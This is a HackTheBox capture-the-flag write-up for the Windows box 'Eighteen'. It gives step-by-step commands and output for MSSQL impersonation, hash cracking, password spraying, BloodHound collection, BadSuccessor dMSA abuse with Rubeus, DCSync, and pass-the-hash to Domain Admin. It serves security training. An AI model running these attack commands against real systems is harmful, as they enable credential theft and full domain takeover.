Skip to content
HackIndex logo

HackIndex

Eighteen Writeup - HackTheBox

Easy Windows
HackTheBox Discuss on Discord

Last updated July 14, 2026 • 4 min read

Joshua

HackIndex Creator

Discovery

To start we begin with a full NMAP scan:

┌──(kali㉿kali)-[~]
└─$ scan_tcp_full $TARGET_IP 
PORT     STATE SERVICE  VERSION
80/tcp   open  http     Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to http://eighteen.htb/
1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info:
|   Target_Name: EIGHTEEN
|   NetBIOS_Domain_Name: EIGHTEEN
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: eighteen.htb
|   DNS_Computer_Name: DC01.eighteen.htb
|_  Product_Version: 10.0.26100
5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

MSSQL on the DC with a known service version. WinRM open. Add hosts:

┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP DC01.eighteen.htb
┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP eighteen.htb 
[+] Added: 10.10.11.95 → DC01.eighteen.htb
[+] Added: 10.10.11.95 → eighteen.htb

Initial Access

MSSQL Enumeration with Given Credentials

The box starts with credentials kevin / $KEVIN_PASSWORD. Connect directly to MSSQL:

┌──(kali㉿kali)-[~]
└─$ impacket-mssqlclient "kevin:$KEVIN_PASSWORD@$TARGET_IP" 
SQL (kevin  guest@master)> enum_db
name                is_trustworthy_on
-----------------   -----------------
master                              0
msdb                                1
financial_planner                   0

SQL (kevin  guest@master)> enum_impersonate
execute as   database   permission_name   state_desc   grantee   grantor
----------   --------   ---------------   ----------   -------   -------
b'LOGIN'     b''        IMPERSONATE       GRANT        kevin     appdev

SQL (kevin  guest@master)> enable_xp_cmdshell
ERROR(DC01): User does not have permission to perform this action.

Kevin has no direct execution rights, but can impersonate appdev.

MSSQL Impersonation and DB Dump

Impersonate appdev and dump the financial_planner database:

┌──(kali㉿kali)-[~]
└─$ python3 mssql_yoink.py --host $TARGET_IP --user kevin \
--password '$KEVIN_PASSWORD' --impersonate appdev --output dump 
[*] Impersonating LOGIN: appdev

[+] Database: financial_planner
    dbo.users -> dumped 2 rows

The dbo.users table contains the admin account:

id,full_name,username,email,password_hash,is_admin
1002,admin,admin,admin@@eighteen.htb,pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133,True

PBKDF2 Hash Crack

The hash is stored in Flask/Werkzeug format with the raw bytes hex-encoded. Hashcat's PBKDF2-SHA256 mode (10000 / Django) expects the digest as base64. Convert the hex digest using CyberChef: From Hex → To Base64, then reformat:

pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=

Crack it:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 10000 hash.txt /usr/share/wordlists/rockyou.txt 
pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:$ADMIN_PASSWORD

Status: Cracked

Log into the web app at http://eighteen.htb/login as admin:$ADMIN_PASSWORD. The admin panel reveals nothing beyond what a normal user sees — it's a dead end.

Domain User Enumeration

Brute-force RIDs over MSSQL to enumerate domain accounts:

┌──(kali㉿kali)-[~]
└─$ nxc mssql $TARGET_IP -u kevin -p '$KEVIN_PASSWORD' --rid-brute --local-auth 
1606: EIGHTEEN\jamie.dunn
1607: EIGHTEEN\jane.smith
1608: EIGHTEEN\alice.jones
1609: EIGHTEEN\adam.scott
1610: EIGHTEEN\bob.brown
1611: EIGHTEEN\carol.white
1612: EIGHTEEN\dave.green
1601: EIGHTEEN\mssqlsvc

Password Spray → WinRM

The cracked admin password was reused — spray it against all domain users over WinRM:

┌──(kali㉿kali)-[~]
└─$ nxc winrm $TARGET_IP -u users.txt -p '$ADMIN_PASSWORD' --no-bruteforce 
WINRM  10.10.11.95  5985  DC01  [+] eighteen.htb\adam.scott:$ADMIN_PASSWORD (Pwn3d!)
┌──(kali㉿kali)-[~]
└─$ evil-winrm -i $TARGET_IP -u adam.scott -p '$ADMIN_PASSWORD'

User shell as adam.scott.

Privilege Escalation

BloodHound Enumeration

Collect AD data from the WinRM shell:

┌──(kali㉿kali)-[~]
└─$ .\SharpHound.exe -c All --outputdirectory .

Download and load into BloodHound. The graph shows adam.scott is a member of IT@@eighteen.htb, and the IT group holds GenericAll / GenericWrite / CreateChild over OU=Staff,DC=eighteen,DC=htb. This is the BadSuccessor attack surface.

BadSuccessor (CVE-2025-29810) — dMSA Privilege Escalation

CVE-2025-29810 abuses the Delegated Managed Service Account (dMSA) migration feature in Windows Server 2025. When a group has CreateChild rights over an OU, it can create a dMSA inside that OU and set msDS-ManagedAccountPrecededByLink to any user — including Administrator. The dMSA then inherits the linked user's Kerberos privileges. Requesting a TGS for that dMSA effectively gives you a ticket carrying Administrator's credentials.

Confirm write access:

┌──(kali㉿kali)-[~]
└─$ .\BadSuccessor.exe find 
[*] OUs you have write access to:
    -> OU=Staff,DC=eighteen,DC=htb
       Privileges: GenericWrite, GenericAll, CreateChild

Create a weaponised dMSA linked to Administrator, granting adam.scott rights to retrieve its managed password:

┌──(kali㉿kali)-[~]
└─$ .\BadSuccessor.exe escalate `
-targetOU "OU=Staff,DC=eighteen,DC=htb" `
-dmsa "hackindex" `
-targetUser "CN=Administrator,CN=Users,DC=EIGHTEEN,DC=HTB" `
-dnshostname hackindex.eighteen.htb `
-user "adam.scott" `
-dc-ip "$TARGET_IP" 
[+] Created dMSA 'hackindex' in 'OU=Staff,DC=eighteen,DC=htb',
    linked to 'CN=Administrator,CN=Users,DC=EIGHTEEN,DC=HTB'
[*] Use Rubeus asktgs with /dmsa to retrieve TGS and Password Hash

Get a TGT for adam.scott:

┌──(kali㉿kali)-[~]
└─$ .\Rubeus.exe asktgt /user:adam.scott /password:$ADMIN_PASSWORD `
/domain:eighteen.htb /dc:dc01.eighteen.htb /opsec /nowrap /force

Use the TGT to request a dMSA TGS for hackindex$. The /dmsa flag triggers the special key derivation that returns the current managed password key — which is Administrator's:

┌──(kali㉿kali)-[~]
└─$ .\Rubeus.exe asktgs /ticket:<TGT_BASE64> `
/targetuser:hackindex$ /service:krbtgt/eighteen.htb `
/dmsa /dc:dc01.eighteen.htb /opsec /nowrap /outfile:hackindex.kirbi /force 
[+] TGS request successful!
  UserName     :  hackindex$ (NT_PRINCIPAL)
  Current Keys for hackindex$: (aes256_cts_hmac_sha1)
    6F2AB5E7F615B132DFEBC2B337FDA1DA55518CD4C5391FAA59BEB41452DCD50C
[*] Ticket written to hackindex.kirbi

Download the kirbi and convert to ccache:

┌──(kali㉿kali)-[~]
└─$ impacket-ticketConverter hackindex.kirbi hackindex.ccache
┌──(kali㉿kali)-[~]
└─$ export KRB5CCNAME=hackindex.ccache

DCSync as hackindex$

With the dMSA ticket active, run DCSync to extract the Administrator hash:

┌──(kali㉿kali)-[~]
└─$ impacket-secretsdump eighteen.htb/hackindex\$@dc01.eighteen.htb \
-k -no-pass -just-dc-user Administrator 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:$ADMINISTRATOR_HASH:::

Pass-the-Hash as Administrator

┌──(kali㉿kali)-[~]
└─$ evil-winrm -i dc01.eighteen.htb -u Administrator -H '$ADMINISTRATOR_HASH' 
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt

Domain Admin.

Related

MSSQL enumeration with nmap and netexec
Blog

MSSQL enumeration with nmap and netexec
MSSQL Privilege Escalation via Impersonation
Blog

MSSQL Privilege Escalation via Impersonation

Exploit MSSQL IMPERSONATE privileges to escalate from low-privileged login to sysadmin by chaining u...
Password Spraying
Blog

Password Spraying

Covers low-and-slow authentication attacks against AD accounts using common passwords to evade locko...
BloodHound and SharpHound Collection
Blog

BloodHound and SharpHound Collection

Covers deploying SharpHound to collect AD relationship data and ingesting results into BloodHound to...
DCSync and Domain Takeover
Blog

DCSync and Domain Takeover

Exploits DCSync attack via replication privileges to extract password hashes from AD, enabling crede...

References